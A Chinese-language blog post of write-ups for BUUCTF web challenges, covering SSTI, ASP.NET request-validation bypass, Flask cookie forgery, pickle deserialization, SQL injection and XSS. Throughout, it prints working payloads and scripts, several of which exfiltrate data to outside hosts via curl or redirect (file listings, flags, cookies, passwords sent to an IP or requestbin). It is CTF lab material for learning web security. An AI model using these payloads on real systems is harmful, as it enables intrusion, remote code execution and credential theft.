补一下之前做的 BUUCTF 的一些练习

[GWCTF 2019]你的名字

SSTI 模板注入,输入以下会报错

1
{{2*2}}

我们可以用以下绕过

1
{% if xxx %} 1 {% endif %}

经过 fuzz 之后以下关键词被绕过,原理是直接 replace,可以插入黑名单绕过

优先 python2,优先命令执行,见到 waf 就插 ifconfig,试出以下 payload

不知道为什么内网的 requests curl 不了,所以就开了台内网的机子

1
{% iconfigf ().__claconfigss__.__basconfiges__[0].__subclconfigasses__()[59].__init__.func_globaconfigls.linecache.oconfigs.popconfigen("curl http://174.0.234.231:9000/`ls /|base64`").read()%}kk{% endiconfigf %}
1
{% iconfigf ().__claconfigss__.__basconfiges__[0].__subclconfigasses__()[59].__init__.func_globaconfigls.linecache.oconfigs.popconfigen("curl http://174.0.234.231:9000/ -d `cat /*|base64`").read()%}kk{% endiconfigf %}

[HITCON 2019]Buggy_Net

此题考察了 ASP.NET 4.0 的漏洞

在 ASP.NET 4.0 中,对于 POST 请求,from 参数中含有危险内容(如 HTML 标签<xxx)会被拦截,但是对于相同变量的 query 参数只会在首次访问Request.QueryString抛出异常

同样的,对于 GET 请求,query 参数中含有危险内容(如 HTML 标签<xxx)会被拦截,但是对于相同变量的 form 参数只会在首次访问Request.Form抛出异常

所以这里我们利用 GET 请求,提交一个含有 HTML 标签的数据就可以绕过第一个目录遍历的异常处理,第二步就可以读取任意文件了

payload

1
2
3
4
GET / HTTP/1.1
...

filename=../../flag.txt&kk=<a

[PASECA2019]honey_shop

在 Linux 中 /proc/self/ 指向当前目录,然后 SECRET_KEY 被收藏在 environ,所以访问 /proc/self/environ 就能得到访问到 SECRET_KEY

1
SECRET_KEY=ACjzCrqQuX1nn6tmtmF80jQchsFJiUtq0sLdFDcH 

之后就可以伪造 cookie 了

1
2
3
# python .\flask_session_cookie_manager3.py encode -s "ACjzCrqQuX1nn6tmtmF80jQchsFJiUtq0sLdFDcH" -t "{'balance':1999,'purchases':['Linden honey']}"

eyJiYWxhbmNlIjoxOTk5LCJwdXJjaGFzZXMiOlsiTGluZGVuIGhvbmV5Il19.Xmot1Q.lcjSJIrZDRkwyyF8xIYU3Sa9yKo

[BSidesCF 2020]Had a bad day

文件包含,参数必须包含 woofers 或者 meowers

可用过滤器绕过

1
php://filter/convert.base64-encode/write=woofers/resource=flag

[Zer0pts2020]Can you guess it?

无法进行时序攻击,所以只能绕过正则读 flag,但是不能以 config.php 结尾,但是basename可以用特殊字符扰乱规则绕过,但是试了好几个都不行,那就遍历一下

payload

1
2
3
4
5
6
7
8
9
10
import requests

for i in range(500):
url = "http://15c46786-5a10-4bf1-869f-15dadc8b743f.node3.buuoj.cn/index.php/config.php/%{}?source".format(hex(i)[2:].zfill(2))
r = requests.get(url)
print(i)
if 'flag' in r.text:
print(url)
print(r.text)
break

[BSidesCF 2020]Cards

逻辑题目

访问/api可以得到一个 SecretState 这个是当前余额的一个哈希码

访问/api/deal可以进行赌博,但是只要我们的 state 不会变,我们的余额就不会变,当我们的应答包含 BlackJack 的时候,我们的余额会增加,然后我们就可以获取它的 SerectState 进行下一次赌博,这样就可以一直赢了

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://62fdfbb0-31ff-409c-91fe-b3b1ded86d9a.node3.buuoj.cn/'
state = requests.post(url+'api').json()['SecretState']

while True:
print("try")
res = requests.post(url+'api/deal', json = {'Bet': 500, 'SecretState': state}).json()
if res['GameState'] == 'Blackjack':
print(res)
state = res['SecretState']
if 'Flag' in res:
print(res['Flag'])
break

[watevrCTF-2019]Pickle Store

flask-session-cookies 解密是 pickle 形式,应该考察的是 pickle 反序列化

直接贴 payload

一开始一直不成功,后来发现是系统问题,一定要在 Linux 环境下运行!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import _pickle as cPickle
import sys
import base64
import requests

COMMAND = "curl http://http.requestbin.buuoj.cn/18g6bpi1/`cat flag.txt|base64`"

class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))

cookies = base64.b64encode(cPickle.dumps(PickleRce())).decode()

print(cookies)
cookies = {"session":cookies}
response = requests.get("http://02fb1191-450e-4699-b981-9b4922ae948d.node3.buuoj.cn/", cookies=cookies)
print(response.text)

[RootersCTF2019]babyWeb

随缘试一下报错注入

1
http://7a65e348-5074-45ed-b289-b4808c188a68.node3.buuoj.cn/?search=1 and (extractvalue(1,concat(0x7e,(select uniqueid from users limit 1),0x7e)));

直接提交即可

http://7a65e348-5074-45ed-b289-b4808c188a68.node3.buuoj.cn/?search=837461526918364526

[RootersCTF2019]I_<3_Flask

SSTI 直接打过去(python3)

1
http://e430c2d8-e92e-467c-871b-c432eff885ea.node3.buuoj.cn/?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}

[RootersCTF2019]ImgXweb

上传文件没什么用,因为这是个 flask,把 session 抓下来看看是什么

1
2
# python .\flask_session_cookie_manager3.py decode -c eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoia2trayJ9.ppXwYZguivTJVIyddZBLSxS9C3ptkUon1PIGjmxPEKw
b'{"typ":"JWT","alg":"HS256"}'

提示是 jwt,那拿去解码一下

image-20200313210246245

封装的是用户名,回去用 admin 注册一下发现已存在用户,所以应该是伪造 admin,但是没有密钥…

robots.txt 有惊喜,得到了 key

you-will-never-guess

伪造得到eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.g_lGU4qTO2VhNrZK9k460xz828GcqKBayZPcmLmhUqE

替换进入页面发现 flag,加个 view-source 就看到了

image-20200313210558800

October 2019 Twice SQL Injection

题目提示过于明显,直接凭感觉对着用户名注册登陆一把嗦

不必写脚本了,bp 按两下就好了

查表

1
2
3
' union select group_concat(table_name) from information_schema.tables where table_schema=database()#

FLAG_TABLE,news,users

查列

1
2
3
' union select group_concat(column_name) from information_schema.columns where table_schema=database()#

FLAG_COLUMN,id,title,content,time,id,username,password,info

但是数据库里面没有 flag,应该是另外一种操作,看看其他表,没东西,但是提示确实是在数据库,应该是个幌子

试了一下写不了 shell,根目录也没默认 flag,这里卡了一个晚上…

第二天登上去,诡异的事情发生了… flag 连上表名和列名都变了???

image-20200314110159110

最后,emmm

1
2
3
' union select flag from flag#

flag{729c33d0-8f58-4bf6-9e77-c42c786ffefa}

这里有一说一,我真不知道为什么

[GWCTF 2019]mypassword

有反馈页面,那就是 XSS,查看源码,只要以 admin 登陆就能看到 flag

看看 CSP,只支持同源,支持内联标签

1
Content-Security-Policy: default-src 'self';script-src 'unsafe-inline' 'self'

看看黑名单,过滤了很多关键字和编码,查看过滤逻辑,只要在关键字中间插入黑名单靠后的关键字就可以绕过,所以我们可以通过插入 cookie 绕过

看到了 login.js 的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}

如果用户正在登陆,就会把用户名和密码填充到表单里面

所以我们可以构造一个登陆页面,提交给 bot 让他自己填就好了

payload

1
2
3
4
5
6
7
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/18g6bpi1/?psw="+psw;
</scrcookieipt>

[CISCN2019 华东北赛区]Web2

投稿 + 反馈,显然是个 XSS

简单 fuzz 一下,过滤了很多标签和符号,但是 &# 没有被过滤,所以我们可以用 unicode 编码绕过,在下面找了一个可以用的 payload

https://wooyun.js.org/drops/Bypass xss过滤的测试方法.html

<svg><script>alert&#40/1/&#41</script>

但是又因为过滤了 = ,所以就用 eval 反弹,记得域名要用 web 代替

1
2
3
4
5
6
7
8
9
payload = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=EP3Yq3&location='+escape((function(){try{return document.location.href}catch(e){return''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();"

uc_payload = ''

for i in payload:
uc_payload += '&#{}'.format(ord(i))

payload = '<svg><script>eval' + uc_payload + '</script>'
print(payload)

然后绕过 md5 就可以了,给出我自己用的两个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# gen_md5.py
import json, sys, hashlib

def getMD5(count=5, Salt=''):
f = open('md5-{}.json'.format(count),'w')
MD5 = {}
for x in range(1000000, 9999999):
captcha = str(x)+ Salt
MD5[hashlib.md5(captcha).hexdigest()[:int(count)]] = x
json.dump(MD5, f)
f.close()


if __name__ == '__main__':
if len(sys.argv) == 2:
getMD5(sys.argv[1])
elif len(sys.argv)==3:
getMD5(sys.argv[1],sys.argv[2])
else:
getMD5()

1
2
3
4
5
6
7
8
9
10
11
# find_md5.py
import sys, json

if len(sys.argv) == 3:
try:
f = open("md5-{}.json".format(sys.argv[1]),'r')
MD5 = json.load(f)
print(MD5[sys.argv[2]])
f.close()
except Exception as e:
print("no key")

image-20200314152227158

替换 session 扫描后台发现 admin.php,点进去就是一个 sqli

测了一下没什么过滤,就直接 sqlmap 一把梭吧

1
python .\sqlmap.py -cookie="PHPSESSID=312a8283a4e7aaa5894ef9018c52e05e" -u http://5f6fb99e-e122-4707-b88d-f896487c7f64.node3.buuoj.cn/admin.php?id=1 -D ciscn -T flag --dump

[网鼎杯2018]Unfinish

一进去是个登陆界面,随便改个 register.php 得到注册页面,登陆进去只有用户名显示,显然是个二次注入,注册用户名为1'or'1,用户名显示为1但是试了一下 union select 无法注册,想了想逻辑应该是直接把邮箱、用户名和密码拼进去,然后根据邮箱查询把用户名带出来

所以这里我们可以直接拼字符串,学到了一个新姿势,就是二次 hex

1
'+select(hex(hex(payload)))+'

二次 hex 的原因是 一次 hex 后结果带有字母,变成字符串后不会带出来

二次 hex 最多只能取三个字母,不然会变成科学计数法

但是过滤了 information_schema ,只能盲猜一个 flag 了

还过滤了逗号,所有用 substr xxx from x for x

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import random
import re
import binascii

flag = ''
for offset in range(30):
email = "kk{}@test.com".format(random.randint(1,10000000))
# payload = "'+(select hex(hex(database())))+'"
payload = "'+(select (hex(hex(substr((select * from flag) from {} for 3)))))+'".format(1+3*offset)

# print("[Email] {}".format(email))
print("[Username] {}".format(payload))

paramsPost = {"password":"kk","email":email,"username":payload}
r1 = requests.post("http://a5e38411-27dd-44db-aaa2-76ee10062321.node3.buuoj.cn/register.php", data=paramsPost)
# print(r1.text)

try:
paramsPost = {"password":"kk","email":email}
r2 = requests.post("http://a5e38411-27dd-44db-aaa2-76ee10062321.node3.buuoj.cn/login.php", data=paramsPost)
# print(r2.text)
results = re.findall(r"<span class=\"user-name\">\n(.*)</span>", r2.text)[0].strip()
results = binascii.a2b_hex(binascii.a2b_hex(results)).decode()
print("[Results] {}".format(results))
if results == '0':
break
flag += results
except Exception as e:
print(e)
break
# print("[Results] nothing!")
print("[Flag] {}".format(flag))

[PwnThyBytes 2019]Baby_SQL

右键源码

首先全部都加了 addslashes 过滤,网站用的是 utf-8 编码,不能宽字节绕过

1
2
3
4
5
6
function filter($value)
{
!is_string($value) AND die("Hacking attempt!");

return addslashes($value);
}

注册用户名做了如下过滤,非常严格

1
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");

登陆用户名几乎没做过滤,那先面就是绕过isset($_SESSION)了 ,这里利用到了之前 session 反序列化的知识了

session.upload_progress.enabled 为 On

1
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。

所以发送一个请求包就可以绕过进行 sqli 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /templates/login.php HTTP/1.1
Host: 0c730185-fd2e-4260-aec3-70bb4cfc37d5.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://0c730185-fd2e-4260-aec3-70bb4cfc37d5.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=12269a1e808109b9d86291543e02cdd0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzALlheET
Content-Length: 145

------WebKitFormBoundaryzALlheET
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

tyaoo
------WebKitFormBoundaryzALlheET

下面的就是盲注了,直接上脚本,注意要使用 files 参数,不然无法文件形式传数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# coding:utf-8
from multiprocessing import Pool, Manager
import requests
import binascii
import urllib.parse
import time

# ptbctf
# flag_tbl
# secret

def func(index, results):

l = 0
r = 127
m = (l+r)//2


while l<r:
time.sleep(0.2)
url = 'http://0c730185-fd2e-4260-aec3-70bb4cfc37d5.node3.buuoj.cn/templates/login.php'
payload = "\" or if((ascii(mid((select secret from flag_tbl),{},1))>{}),1,0)-- -".format(index+1, m)
paramsGet = {"password":"tyaoo","username":payload}
paramsPost = {"PHP_SESSION_UPLOAD_PROGRESS":"tyaoo"}
cookies = {"PHPSESSID":"12269a1e808109b9d86291543e02cdd0"}
files = {"file": "123456789"}

res = requests.post(url,files=files, data=paramsPost, params=paramsGet, cookies=cookies)
if "again" in res.text:
r = m
m = (l+r)//2
else:
l = m + 1
m = (l+r)//2
print(index+1, m)
results[index] = m


if __name__ == "__main__":
num = 5
data_num = 50
data = range(data_num)
pool = Pool(processes=num)
manager = Manager()
results = manager.list([0]*data_num)
jobs = []
for d in data:
job = pool.apply_async(func, (d, results))
jobs.append(job)
pool.close()
pool.join()
print(results)
results = ''.join([chr(_) for _ in results])
print(results)

[BSidesCF 2020]Hurdles

改了一堆 http 头

1
2
3
4
5
6
7
8
9
10
PUT /hurdles/!?get=flag&%26%3d%26%3d%26=%25%30%30%0a HTTP/1.1
Host: node3.buuoj.cn:27815
Authorization: Basic cGxheWVyOjU0ZWYzNmVjNzEyMDFmZGY5ZDE0MjNmZDI2Zjk3ZjZi
User-Agent: 1337(v.9001)
Accept: text/plain
Accept-Language: ru
Cookie: Fortune=6265
X-Forwarded-For: 13.37.13.37,127.0.0.1
Origin: https://ctf.bsidessf.net
Referer: https://ctf.bsidessf.net/challenges